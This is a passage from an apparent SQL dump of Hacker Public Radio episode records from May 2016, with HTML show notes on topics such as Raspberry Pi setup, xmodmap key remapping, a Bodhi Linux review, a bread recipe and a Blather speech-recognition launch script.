class=\"uri\">https://www.amazon.com/Valupac-Reading-Glasses-Include-Gunmetal/dp/B00JRNIHWY?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></p></li>\r\n</ul>\r\n<p>(missed these in the audio)</p>\r\n<ul>\r\n<li>zebra f-301 ballpoint pens, black ink, 2 in fine point and 2 in medium</li>\r\n<li>several cheap highlighter markers and one sharpie</li>\r\n</ul>\r\n<p>Just to be clear...I included many of the links here from Amazon and other shopping sites, or from c-net, because I couldn\'t see how to load my pictures in with the notes, not because I want to give product reviews or sell anyone anything. I know it can be done, because I see it elsewhere, I\'m just too tired to figure it out now. next one. As I understand it, I owe at least 2-3 shows. Be patient with me Ken, I\'m workin\' on it.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.conrad.com/ce/en/product/977572/Swissgear-Yukon-156-to-173-Laptop-Bag-Wenger-SwissGear-SWISSGEAR-173-Black\" class=\"uri\">https://www.conrad.com/ce/en/product/977572/Swissgear-Yukon-156-to-173-Laptop-Bag-Wenger-SwissGear-SWISSGEAR-173-Black</a></li>\r\n<li><a href=\"https://www.cnet.com/products/toshiba-satellite-p855-s5312-15-6-core-i5-3210m-windows-8-6-gb-ram-750-gb-hdd-series/specs/\" class=\"uri\">https://www.cnet.com/products/toshiba-satellite-p855-s5312-15-6-core-i5-3210m-windows-8-6-gb-ram-750-gb-hdd-series/specs/</a></li>\r\n<li><a href=\"https://www.newegg.com/Product/Product.aspx?Item=9SIA2W02DV8166\" class=\"uri\">https://www.newegg.com/Product/Product.aspx?Item=9SIA2W02DV8166</a></li>\r\n<li><a href=\"https://www.cnet.com/products/hp-pavilion-dv5-1235dx-15-4-core-2-duo-t6400-vista-home-premium-64-bit-4-gb-ram-320-gb-hdd-series/specs/\" class=\"uri\">https://www.cnet.com/products/hp-pavilion-dv5-1235dx-15-4-core-2-duo-t6400-vista-home-premium-64-bit-4-gb-ram-320-gb-hdd-series/specs/</a></li>\r\n<li><a href=\"https://www.amazon.com/Wacom-Intuos-Tablet-Certified-Refurbished/dp/B00Q7FU5YS\" class=\"uri\">https://www.amazon.com/Wacom-Intuos-Tablet-Certified-Refurbished/dp/B00Q7FU5YS</a></li>\r\n<li><a href=\"https://www.amazon.com/TP-LINK-TL-WN722N-Wireless-Adapter-External/dp/B002SZEOLG?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" class=\"uri\">https://www.amazon.com/TP-LINK-TL-WN722N-Wireless-Adapter-External/dp/B002SZEOLG?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></li>\r\n<li><a href=\"https://www.amazon.com/Alfa-Awus036H-Upgraded-Long-Rang-Panel/dp/B003YHYIT0?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" class=\"uri\">https://www.amazon.com/Alfa-Awus036H-Upgraded-Long-Rang-Panel/dp/B003YHYIT0?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></li>\r\n<li><a href=\"https://www.amazon.com/Valupac-Reading-Glasses-Include-Gunmetal/dp/B00JRNIHWY?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage\" class=\"uri\">https://www.amazon.com/Valupac-Reading-Glasses-Include-Gunmetal/dp/B00JRNIHWY?ie=UTF8&amp;psc=1&amp;redirect=true&amp;ref_=oh_aui_search_detailpage</a></li>\r\n</ul>\r\n',330,23,1,'CC-BY-SA','laptop,Wacom tablet,hard drive,antenna',0,0,1),
(2023,'2016-05-04','Setting up my Raspberry Pi 3',1716,'I bought a RPi 3, a case, a heatsink and an SSD and have set the Pi up as a server','<h1 id=\"setting-up-my-raspberry-pi-3\">Setting up my Raspberry Pi 3</h1>\r\n<p>I bought a Raspberry Pi 3 in March 2016, soon after it was released. I want to use it as a server since it\'s the fastest Pi that I own, so I have tried to set it up in the best way for that role.</p>\r\n<p>In this episode I describe what I did in case you want to do something similar.</p>\r\n<p>Refer to the full notes for the details: <a href=\"https://hackerpublicradio.org/eps/hpr2023/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2023/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Pimoroni Pibow 3: <a href=\"https://shop.pimoroni.com/products/pibow-for-raspberry-pi-3\" class=\"uri\">https://shop.pimoroni.com/products/pibow-for-raspberry-pi-3</a></li>\r\n<li>Raspberry Pi Universal Power Supply: <a href=\"https://shop.pimoroni.com/products/raspberry-pi-universal-power-supply\" class=\"uri\">https://shop.pimoroni.com/products/raspberry-pi-universal-power-supply</a></li>\r\n<li>Raspberry Pi 3 Heatsink: <a href=\"https://shop.pimoroni.com/products/heatsink\" class=\"uri\">https://shop.pimoroni.com/products/heatsink</a></li>\r\n<li>SATA Hard Drive to USB Adapter: <a href=\"https://shop.pimoroni.com/products/sata-hard-drive-to-usb-adapter\" class=\"uri\">https://shop.pimoroni.com/products/sata-hard-drive-to-usb-adapter</a></li>\r\n<li>SanDisk SSD PLUS 120 GB Sata III 2.5-inch Internal SSD: <a href=\"https://www.amazon.co.uk/SanDisk-PLUS-Sata-2-5-inch-Internal/dp/B00S9Q9UKS\" class=\"uri\">https://www.amazon.co.uk/SanDisk-PLUS-Sata-2-5-inch-Internal/dp/B00S9Q9UKS</a></li>\r\n<li>Kingston Flash Memory Card 32 GB: <a href=\"https://www.amazon.co.uk/Kingston-Class10-microSDHC-Include-Adapter/dp/B0162YQG2I\" class=\"uri\">https://www.amazon.co.uk/Kingston-Class10-microSDHC-Include-Adapter/dp/B0162YQG2I</a></li>\r\n<li>FLIRC Raspberry Pi 2/3 Case: <a href=\"https://thepihut.com/products/flirc-raspberry-pi-3-b-case\" class=\"uri\">https://thepihut.com/products/flirc-raspberry-pi-3-b-case</a></li>\r\n<li>Adafruit tutorial &quot;<em>Using an External Drive as a Raspberry Pi Root Filesystem</em>&quot;: <a href=\"https://learn.adafruit.com/external-drive-as-raspberry-pi-root/overview\" class=\"uri\">https://learn.adafruit.com/external-drive-as-raspberry-pi-root/overview</a></li>\r\n<li>Article by paulv on the Raspberry Pi forums - &quot;<em>HOWTO: Move the filesystem to a USB stick/Drive</em>&quot;: <a href=\"https://www.raspberrypi.org/forums/viewtopic.php?f=29&amp;t=44177\" class=\"uri\">https://www.raspberrypi.org/forums/viewtopic.php?f=29&amp;t=44177</a></li>\r\n<li>Copy of <code>adafruit-pi-externalroot-helper</code> script: <a href=\"https://hackerpublicradio.org/eps/hpr2023/adafruit-pi-externalroot-helper.txt\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2023/adafruit-pi-externalroot-helper.txt</a></li>\r\n<li>Transcript of what happened when I ran the script: <a href=\"https://hackerpublicradio.org/eps/hpr2023/session_log.txt\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2023/session_log.txt</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','Raspberry Pi,SSD,Raspbian',0,0,1),
(2024,'2016-05-05','Remapping Keys with xmodmap',531,'I describe how I use xmodmap to remap my spacebar to make underscores','<p>In this episode I talk about how I tried to implement an idea that my son had when we were talking one day. I was complaining about file names with spaces in them, and he asked what if the computer automatically changed the spacebar so that it made underscores whenever somebody was trying to save a file? I thought this was a great idea. I even thought of a way implement it, though not quite as magically as he had envisioned. My solution involves the use of the command-line tools <code>xev</code> and <code>xmodmap</code>, and one <a href=\"https://www.jezra.net/projects/blather\">blather</a> voice prompt to launch the <code>xmodmap</code> command that will remap the spacebar to make underscores instead. Maybe somebody a whole lot smarter than me can figure out how to make this happen automatically whenever a save dialog box is open.</p>\r\n\r\n<p>First you need to find the keycode for your spacebar. Run the <code>xev</code> command and then press the spacebar to see which key code it is. Here\'s the output on my laptop:</p>\r\n\r\n<pre>KeyPress event, serial 48, synthetic NO, window 0x4e00001,\r\n    root 0xc0, subw 0x0, time 116149126, (-739,-226), root:(448,358),\r\n    state 0x0, keycode 65 (keysym 0x20, space), same_screen YES,\r\n    XLookupString gives 1 bytes: (20) \" \"\r\n    XmbLookupString gives 1 bytes: (20) \" \"\r\n    XFilterEvent returns: False\r\n</pre>\r\n\r\n<p>As you can see, my spacebar has the keycode of \"65.\" Now we use <code>xmodmap</code> to reassign keycode 65 to make underscores:</p>\r\n\r\n<pre>xmodmap -e \"keycode 65 = underscore\"</pre>\r\n\r\n<p>Now to test it out. While <code>xev</code> is running, press spacebar. Notice that now when the spacebar is pressed it makes an underscore:</p>\r\n\r\n<pre>KeyPress event, serial 57, synthetic NO, window 0x2600001,\r\n    root 0xc0, subw 0x0, time 116190619, (-520,-247), root:(667,337),\r\n    state 0x0, keycode 65 (keysym 0x5f, underscore), same_screen YES,\r\n    XLookupString gives 1 bytes: (5f) \"_\"\r\n    XmbLookupString gives 1 bytes: (5f) \"_\"\r\n    XFilterEvent returns: False\r\n</pre>\r\n\r\n<p>And to change it back:</p>\r\n\r\n<pre>xmodmap -e \"keycode 65 = space\"</pre>\r\n\r\n<p>Now whenever I want to change the spacebar to make underscores or switch it back, I speak one of the following commands, which are in my blather configuration file.</p>\r\n\r\n<pre>\r\nMAKE UNDERSCORES: xmodmap -e \"keycode 65 = underscore\"\r\nMAKE SPACES: xmodmap -e \"keycode 65 = space\"\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://linux.die.net/man/1/xmodmap\">xmodmap man page</a>: <code>xmodmap</code> is a utility for modifying keymaps and pointer button mappings in X</li>\r\n	<li><a href=\"https://linux.die.net/man/1/xev\">xev man page</a>: use <code>xev</code> print contents of X events</li>\r\n</ul>\r\n\r\n<h2>Video Demonstration</h2>\r\n\r\n<p><a href=\"https://www.youtube.com/embed/hKEax8IqxAU\">https://www.youtube.com/embed/hKEax8IqxAU</a></p>\r\n\r\n',238,0,1,'CC-BY-SA','tips and tricks, CLI, bash, linux, accessibility',0,0,1),
(2025,'2016-05-06','Using a Smartphone as a microphone',63,'I talk about an App that pipes the audio input of my Smartphone into my Computer to record this show','<p>Hello citizen of the Internet, my name is njulian, and in my first Episode for HPR I want to talk about an App called \"Microphone\". This App is available for Android in the F-Droid repository, link is in the Shownotes.</p>\r\n<p>All it does is sending the audio input from the microphone directly into the audio output. This causes horrible feedback loops, if the output happens to be the Phone\'s speakers. But if you plug a Male-to-Male 3.5mm cable into your Phone and the other end into your Computer you can use your Smartphone as a Microphone. Actually I am using this right now to record this show with Audacity on my Laptop. The reasons for that are pretty simple: I don\'t have enough free space on my Phone to record a show with Urecord and the other is that I was curious if this app really works.</p>\r\n<p>Well, actually there is not much more I could tell about the App. It has no menu, no way to customize it, and as you can hear no noise suppression.</p>\r\n<p>That\'s about it, thanks for listening.</p>\r\n<p>The App: <a href=\"https://f-droid.org/repository/browse/?fdfilter=microphone&fdid=net.bitplane.android.microphone\" class=\"uri\">https://f-droid.org/repository/browse/?fdfilter=microphone&amp;fdid=net.bitplane.android.microphone</a></p>\r\n<p>The Cable: <a href=\"https://en.wikipedia.org/wiki/Phone_connector_%28audio%29\">https://en.wikipedia.org/wiki/Phone_connector_%28audio%29</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://f-droid.org/repository/browse/?fdfilter=microphone&fdid=net.bitplane.android.microphone\" class=\"uri\">https://f-droid.org/repository/browse/?fdfilter=microphone&amp;fdid=net.bitplane.android.microphone</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Phone_connector_%28audio%29\">https://en.wikipedia.org/wiki/Phone_connector_%28audio%29</a></li>\r\n</ul>\r\n',331,0,1,'CC-BY-SA','android app',0,0,1),
(2026,'2016-05-09','What\'s in my Bag... Again!',503,'A look at what I carry in my bag every day.  It\'s quite different than the last show.','<p>\r\nJust a look at what I keep in my bag these days, though I forgot to mention my beloved Zojirushi thermos (SM-JA48-BA)!\r\n</p>',241,23,1,'CC-BY-SA','edc, personal, bag, backpack, tools, laptops, junk',0,0,1),
(2027,'2016-05-10','Old Engineers and New Engineers',782,'I describe my and my children\'s attempts to solve a puzzle','<p>\r\nThis is a short episode about a puzzle that I got for my birthday from my in-laws.  I gave the puzzle to two of my children to solve after I\'d taken a crack at it.  It was amusing to see see how and old engineer thought about the problem compared with young ones.  Pictures of the puzzle are attached.  The object is to get one ball in each notch at the end of the block at the same time.\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2027/puzzle1.jpeg\"><img src=\"https://hackerpublicradio.org/eps/hpr2027/puzzle1_small.jpeg\" alt=\"half moon puzzle from side\" /></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2027/puzzle2.jpeg\"><img src=\"https://hackerpublicradio.org/eps/hpr2027/puzzle2_small.jpeg\" alt=\"top view showing bearings in the centre hollow\" /></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2027/puzzle-solved.jpeg\"><img src=\"https://hackerpublicradio.org/eps/hpr2027/puzzle-solved_small.jpeg\" alt=\"bearings are at the far rims of the cresent\" /></a></p>',259,0,0,'CC-BY-SA','puzzle,problem solving,engineer',0,0,1),
(2028,'2016-05-11','Some basic info on alarm systems',458,'A very basic intro into some alarm equipment','<p>\r\nA very basic bit of information on some alarm equipment.\r\n</p>',332,0,0,'CC-BY-SA','alarm,PIR,sensor',0,0,1),
(2030,'2016-05-13','Book Review: The Pocket Ref',886,'This is a short review of the Pocket Ref','<p>Recorded this episode while suffering from some severe seasonal allergies, so please disregard any sniffing, wheezing or coughing that may have crept in.</p>\r\n<p>This is a brief introduction to the Pocket Ref by Thomas Glover. In this episode, I don\'t go into great depth of the books many topics, primarily due to the nature of the book itself. It is meant to be a reference book, and as such it contains a treasure trove of reference material from a very broad range of topics.</p>\r\n<p>Also, I mention a few other titles in this series - links below.</p>\r\n<ul>\r\n<li><p>The Pocket Ref-</p>\r\n<ul>\r\n<li><p>On Amazon - <a href=\"https://www.amazon.com/Pocket-Ref-4th-Thomas-Glover/dp/1885071620\" class=\"uri\">https://www.amazon.com/Pocket-Ref-4th-Thomas-Glover/dp/1885071620</a></p></li>\r\n<li><p>On Barnes &amp; Noble - <a href=\"https://www.barnesandnoble.com/w/pocket-ref-thomas-j-glover/1102586821\" class=\"uri\">https://www.barnesandnoble.com/w/pocket-ref-thomas-j-glover/1102586821</a></p></li>\r\n<li><p>On Think Geek - <a href=\"https://www.thinkgeek.com/product/c289/\" class=\"uri\">https://www.thinkgeek.com/product/c289/</a></p></li>\r\n</ul></li>\r\n<li><p>The Desk Ref - <a href=\"https://www.amazon.com/Desk-Ref-Thomas-J-Glover/dp/1885071604\" class=\"uri\">https://www.amazon.com/Desk-Ref-Thomas-J-Glover/dp/1885071604</a></p></li>\r\n<li><p>The Auto Ref - <a href=\"https://www.amazon.com/AutoRef-Richard-Young/dp/1885071485\" class=\"uri\">https://www.amazon.com/AutoRef-Richard-Young/dp/1885071485</a></p></li>\r\n<li><p>The Pocket PCRef - <a href=\"https://www.amazon.com/Pocket-PC-Ref-Thomas-Glover/dp/1885071582\" class=\"uri\">https://www.amazon.com/Pocket-PC-Ref-Thomas-Glover/dp/1885071582</a></p></li>\r\n<li><p>The Pocket Partner - <a href=\"https://www.amazon.com/Pocket-Partner-Dennis-H-Evers/dp/1885071574\" class=\"uri\">https://www.amazon.com/Pocket-Partner-Dennis-H-Evers/dp/1885071574</a></p></li>\r\n<li><p>Handyman in Your Pocket - <a href=\"https://www.amazon.com/Handyman-In-Your-Pocket-Richard-Allen-Young/dp/1885071299\" class=\"uri\">https://www.amazon.com/Handyman-In-Your-Pocket-Richard-Allen-Young/dp/1885071299</a></p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Pocket-Ref-4th-Thomas-Glover/dp/1885071620\" class=\"uri\">https://www.amazon.com/Pocket-Ref-4th-Thomas-Glover/dp/1885071620</a></li>\r\n<li><a href=\"https://www.barnesandnoble.com/w/pocket-ref-thomas-j-glover/1102586821\" class=\"uri\">https://www.barnesandnoble.com/w/pocket-ref-thomas-j-glover/1102586821</a></li>\r\n<li><a href=\"https://www.thinkgeek.com/product/c289/\" class=\"uri\">https://www.thinkgeek.com/product/c289/</a></li>\r\n<li><a href=\"https://www.amazon.com/Desk-Ref-Thomas-J-Glover/dp/1885071604\" class=\"uri\">https://www.amazon.com/Desk-Ref-Thomas-J-Glover/dp/1885071604</a></li>\r\n<li><a href=\"https://www.amazon.com/AutoRef-Richard-Young/dp/1885071485\" class=\"uri\">https://www.amazon.com/AutoRef-Richard-Young/dp/1885071485</a></li>\r\n<li><a href=\"https://www.amazon.com/Pocket-PC-Ref-Thomas-Glover/dp/1885071582\" class=\"uri\">https://www.amazon.com/Pocket-PC-Ref-Thomas-Glover/dp/1885071582</a></li>\r\n<li><a href=\"https://www.amazon.com/Pocket-Partner-Dennis-H-Evers/dp/1885071574\" class=\"uri\">https://www.amazon.com/Pocket-Partner-Dennis-H-Evers/dp/1885071574</a></li>\r\n<li><a href=\"https://www.amazon.com/Handyman-In-Your-Pocket-Richard-Allen-Young/dp/1885071299\" class=\"uri\">https://www.amazon.com/Handyman-In-Your-Pocket-Richard-Allen-Young/dp/1885071299</a></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','book review,reference book',0,0,1),
(2033,'2016-05-18','Distro Review: Bodhi Linux',1082,'A brief review of Bodhi Linux','<!-- Processed by make_markdown V0.0.3 -->\r\n<p>As with my last episode, you may hear some sniffling or pauses as I catch my breath. It is springtime in Kentucky, and my allergies are full force right now.</p>\r\n<p>In this episode, I take Bodhi Linux for a test drive. I\'ll tell you what I liked, what I didn\'t like, and how well or bad it performed on my test machine.</p>\r\n<ul>\r\n<li><p>Official Website - <a href=\"https://www.bodhilinux.com/\" class=\"uri\">https://www.bodhilinux.com/</a></p></li>\r\n<li><p>On Distrowatch - <a href=\"https://distrowatch.com/table.php?distribution=bodhi\" class=\"uri\">https://distrowatch.com/table.php?distribution=bodhi</a></p></li>\r\n<li><p>Wikipedia - <a href=\"https://en.wikipedia.org/wiki/Bodhi_Linux\" class=\"uri\">https://en.wikipedia.org/wiki/Bodhi_Linux</a></p></li>\r\n<li><p>Youtube -<br />\r\n<a href=\"https://www.youtube.com/watch?v=7x4_tHtJngw\" class=\"uri\">https://www.youtube.com/watch?v=7x4_tHtJngw</a><br />\r\n<a href=\"https://www.youtube.com/watch?v=-NUVenmH_CU\" class=\"uri\">https://www.youtube.com/watch?v=-NUVenmH_CU</a></p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.bodhilinux.com/\" class=\"uri\">https://www.bodhilinux.com/</a></li>\r\n<li><a href=\"https://distrowatch.com/table.php?distribution=bodhi\" class=\"uri\">https://distrowatch.com/table.php?distribution=bodhi</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Bodhi_Linux\" class=\"uri\">https://en.wikipedia.org/wiki/Bodhi_Linux</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=7x4_tHtJngw\" class=\"uri\">https://www.youtube.com/watch?v=7x4_tHtJngw</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=-NUVenmH_CU\" class=\"uri\">https://www.youtube.com/watch?v=-NUVenmH_CU</a></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Bodhi Linux,Moksha Desktop,Midori',0,0,1),
(2031,'2016-05-16','A quick intro to OBD2 with Android',293,'Introduces automobile OBD2 and briefly profiles three available apps for Android.','<!-- Processed by make_markdown V0.0.3 -->\r\n<ul>\r\n<li>OBD2 on eBay - <a href=\"https://ebay.to/23TXfAa\" class=\"uri\">https://ebay.to/23TXfAa</a></li>\r\n<li>Carista - <a href=\"https://play.google.com/store/apps/details?id=com.prizmos.carista\" class=\"uri\">https://play.google.com/store/apps/details?id=com.prizmos.carista</a></li>\r\n<li>Dash - <a href=\"https://play.google.com/store/apps/details?id=com.dashlabs.dash.android\" class=\"uri\">https://play.google.com/store/apps/details?id=com.dashlabs.dash.android</a></li>\r\n<li>Torque Lite - <a href=\"https://play.google.com/store/apps/details?id=org.prowl.torquefree\" class=\"uri\">https://play.google.com/store/apps/details?id=org.prowl.torquefree</a></li>\r\n<li>Torque - <a href=\"https://play.google.com/store/apps/details?id=org.prowl.torque\" class=\"uri\">https://play.google.com/store/apps/details?id=org.prowl.torque</a></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://ebay.to/23TXfAa\" class=\"uri\">https://ebay.to/23TXfAa</a></li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=com.prizmos.carista\" class=\"uri\">https://play.google.com/store/apps/details?id=com.prizmos.carista</a></li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=com.dashlabs.dash.android\" class=\"uri\">https://play.google.com/store/apps/details?id=com.dashlabs.dash.android</a></li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=org.prowl.torquefree\" class=\"uri\">https://play.google.com/store/apps/details?id=org.prowl.torquefree</a></li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=org.prowl.torque\" class=\"uri\">https://play.google.com/store/apps/details?id=org.prowl.torque</a></li>\r\n</ul>\r\n',333,0,0,'CC-BY-SA','automotive, automobile, car, cars, bluetooth, android, apps',0,0,1),
(2032,'2016-05-17','How I Came to Linux',868,'Steve tells his story of how he came to be a Linux user.','<p>I tell the story of how I learned about computers and eventually came to be an avid Linux user.</p>\r\n<p>I\'ve been using Linux as my primary operating system for almost 20 years now. My primary distribution of choice has always been Slackware, but I have branched out to some more &quot;modern&quot; distributions as well, particularly for workstation environments.</p>\r\n<p>I have been an HPR listener now for several months and this is my first show. I enjoy the podcast very much and hope to see it continue for many more years. Thank you to the administrators and leaders to make it all possible. And, of course, thank you to everyone that contributes shows.</p>\r\n',334,0,1,'CC-BY-SA','Linux',0,0,1),
(2034,'2016-05-19','Frank\'s Five Seed Bread',426,'Frank describes his recipe for Five Seed Bread, inspired by a Kerry Greenwood mystery novel','<p>Frank describes his recipe for Five Seed Bread, inspired by Kerry Greenwood\'s first Corinna Chapman mystery novel, \"Earthly Delights.\"</p>\r\n<h3 id=\"list-of-ingredients\">List of Ingredients:</h3>\r\n<ul>\r\n<li>1 cp. (237 ml.) warm water</li>\r\n<li>1 packet yeast</li>\r\n<li>1 1/2 cps. (213 grams) white flour, approx.</li>\r\n<li>1 1/2 cps. (213 grams) rye flour, approx.</li>\r\n<li>1 tbs. (14 grams) each dill seed, fennel seed, sesame seed, caraway seed, or to taste</li>\r\n<li>1 tsp. (5 ml.) coriander (the reference in the story referred to coriander seed, but I didn’t have any of that, so I ad libbed)</li>\r\n<li>1/4 (1 ml.) tsp. salt</li>\r\n<li>1/2 tsp. (2 ml.) light brown sugar</li>\r\n</ul>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li>Kerry Greenwood: <a href=\"https://phrynefisher.com/Kerrygreenwood.html\">https://phrynefisher.com/Kerrygreenwood.html</a></li>\r\n<li>The Corrina Chapman Cookbook: <a href=\"https://mysteryreadersinc.blogspot.com/2012/03/kerry-greenwood-cookbook.html\">https://mysteryreadersinc.blogspot.com/2012/03/kerry-greenwood-cookbook.html</a></li>\r\n<li>US-Metric Equivalents: <a href=\"https://whatscookingamerica.net/Q-A/equiv.htm\">https://whatscookingamerica.net/Q-A/equiv.htm</a></li>\r\n</ul>\r\n',195,93,1,'CC-BY-SA','bread, cooking, baking',0,0,1),
(2035,'2016-05-20','Building Community',465,'droops discusses some ideas on how to expand the HPR community','<p>\r\nThis is droops and this is also Hacker Public Radio.\r\n</p>\r\n\r\n<p>\r\nI love HPR and noticing our current need for shows, I put it on my list that I needed to help out. But what to talk about?\r\n</p>\r\n\r\n<p>\r\nLet’s talk about growing HPR. It is a cool show and project, but if the community does not grow the show will end. People run out of shows to host and others have to fill that space.\r\n</p>\r\n\r\n<p>\r\nI think we do a great job doing outreach to the community by going to conventions, getting mentioned in articles and magazines, and being cool with everyone. But as a community we could do a little more to get to the 4000 show mark. Even my lazy butt can help with these things.\r\n</p>\r\n\r\n<p>\r\nFirst, let’s bring more traffic to the site. To do this we need content, which is really all we have. But we need to be more clever with how we use it.\r\n</p>\r\n\r\n<p>\r\nWe need to transcribe all of our shows. This allows search engines to better index our content and bring more people to our site. Maybe they won’t subscribe or even listen to a show with the content being readable, but they were not going to listen anyway by not finding us. This is a big chore and we would need a team with leadership to do it.\r\n</p>\r\n\r\n<p>\r\nWe need more popular hosts (this sounds bad taken at face value) to guest host shows and mention HPR on their shows. We used to do this by sending in bumpers like “this is droops from Hacker Public Radio and we live whatever this show is. Hacker Public Radio is a daily show created by the community”. Let’s make a list of podcasters we want to guest host or mention our show and go after them.\r\n</p>\r\n\r\n<p>\r\nSpeaking of guest hosts, let’s work on interviewing more people who will put our show on their blog/social media. We did this in the early days of Twatech with Moka5 and we got a lot of traffic from this. I do know that we already do this, but not everyone who listens contributes a show and this is an easy way to do it.\r\n</p>\r\n\r\n<p>\r\nWhat if we made it easier to record shows? Maybe have an Android/iOS app to record and submit shows from.\r\n</p>\r\n\r\n<p>\r\nWe could have a tool to submit show topics or do a survey to find out what people are interested in. This may prompt people to record shows by knowing that someone would be interested in it.\r\n</p>\r\n\r\n<p>\r\nSomeone could get some free stock photos (or better yet we could just take our own) and put show titles over the images to share on social media. People click on images. I will do this so that everyone can see my ugly face.\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2035_building_community.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2035_building_community_small.jpg\" alt=\"a photo of droops\" />\r\n</a>\r\n\r\n</p>\r\n<p>\r\nOn that note, how about a video that explains what HPR is. This may be a good droops project. That would be something awesome to share on social media.\r\n</p>\r\n\r\n<p>\r\nThe website, which is a lot of work, needs to have related shows listed on each individual shows page. This will take a tag system and someone to tag all of the almost uncountable previous episodes.\r\n</p>\r\n\r\n<p>\r\nOne of my favorite show formats is reviews of software/media. This is so much in our community to keep up with and HPR is perfect for this. Everyone should do a show about some unique software they use or a cool book they are reading or a cool documentary they watched. Five minutes about something cool would bring me into learning more about it.\r\n</p>\r\n\r\n<p>\r\nCurrently my classes are watching a documentary about the Silk Road called Deep Web (https://www.deepwebthemovie.com/). I should do a show on it to talk about privacy, government, all the cool things it brings up. We have not gotten far into the documentary yet as we keep stopping it to have discussions. \r\n</p>\r\n\r\n<p>\r\nAlso I love stickers, we should set up a store to sell stickers and t-shirts. Heck this is HPR, we should have tote bags. We can either sell them at cost or make a profit to pay for hosting or swag to give away.\r\n</p>\r\n\r\n<p>\r\nHacker Public Radio is driven by the community and our community as a whole is much smarter than I am. Let’s put our minds together and grow our show.\r\n</p>\r\n',1,0,0,'CC-BY-SA','community',0,0,1),
(2039,'2016-05-26','Blather Configuration Part 0: Initial Setup',1146,'In this episode I walk you through the process of getting blather running for the first time','<p>In this episode I walk you through the process of getting the <a href=\"https://gitlab.com/jezra/blather\">Blather</a> GNU/Linux speech recognition program running for the first time. </p>\r\n\r\n<p><strong>Arch</strong>: On Arch Linux this is really easy. Jezra made a <a href=\"https://aur.archlinux.org/packages/blather-git/\">package build for the AUR</a> so you can just install it that way.</p>\r\n\r\n<p><strong>Debian</strong>: I wrote an <a href=\"https://hackerpublicradio.org/eps/hpr2039/debian_blather_install_script\">installation script</a> for Debian-based systems that installs the dependencies to build <a href=\"https://cmusphinx.sourceforge.net/\">pocketsphinx</a>, plus a few extra packages that I use continually when I\'m running blather (xvkbd, xdotool, espeak, wmctrl, elinks, xclip, curl). It builds/installs the Sphinx stuff, pulls the blather source code, and puts some configuration files and a startup script in place for you. This should take care of pretty much all of the heavy lifting.</p>\r\n\r\n<p>I refer frequently to Jezra\'s usage notes on the <a href=\"https://gitlab.com/jezra/blather\">Blather source code page at gitlab</a>, so if you\'re trying to install this as I talk, you might want to follow along over there.</p>\r\n\r\n<p>The trickiest bit in the initial run is the creation and placement of the language files. I normally use a bash script for this, but on this first episode of the series I\'m going to use the <a href=\"https://www.speech.cs.cmu.edu/tools/lmtool-new.html\">web-based lmtool</a> to create the language files, just the way Jezra says to do on his usage page. He also includes my automated language updater script in the blather source code, though, so going forward I will be talking about how to use that script instead of the web-based tool.</p>\r\n\r\n<h2>Blather Launch Script</h2>\r\n\r\n<p>I use a bash script to launch Blather because I want to set several environmental variables: location of the pocketsphinx gstreamer libraries, default browser, default text-to-speech engine, and so forth. Having these environmental variables set means that I can use easy-to-remember shortcuts in my blather commands config file. Here is my launch script:</p>\r\n\r\n<pre>#!/bin/bash\r\n\r\n# tell it where the Gstreamer libraries are\r\nexport GST_PLUGIN_PATH=/usr/local/lib/gstreamer-0.10\r\n\r\n# set some shortcuts to use in the commands file\r\n\r\n#export VOICE=\"/usr/bin/festival --tts\"\r\nexport VOICE=\"/usr/bin/espeak\"\r\nexport CONFIGDIR=\"/home/$(whoami)/.config/blather\"\r\nexport KEYPRESS=\"xvkbd -xsendevent -secure -text\"\r\nexport BROWSER=\"chromium-browser\"\r\n\r\n# add blather script directory to the user\'s PATH\r\nexport PATH=\"$HOME/bin:/home/$(whoami)/.config/blather/scripts:$PATH\"\r\n\r\n# start blather in continuous mode with the GTK GUI \r\n# and a history of 20 recent commands\r\n\r\npython2 /home/$(whoami)/code/blather/Blather.py -c -i g -H 20\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://gitlab.com/jezra/blather.git\" target=\"_blank\">Blather source code</a></li>\r\n<li>Blather <a 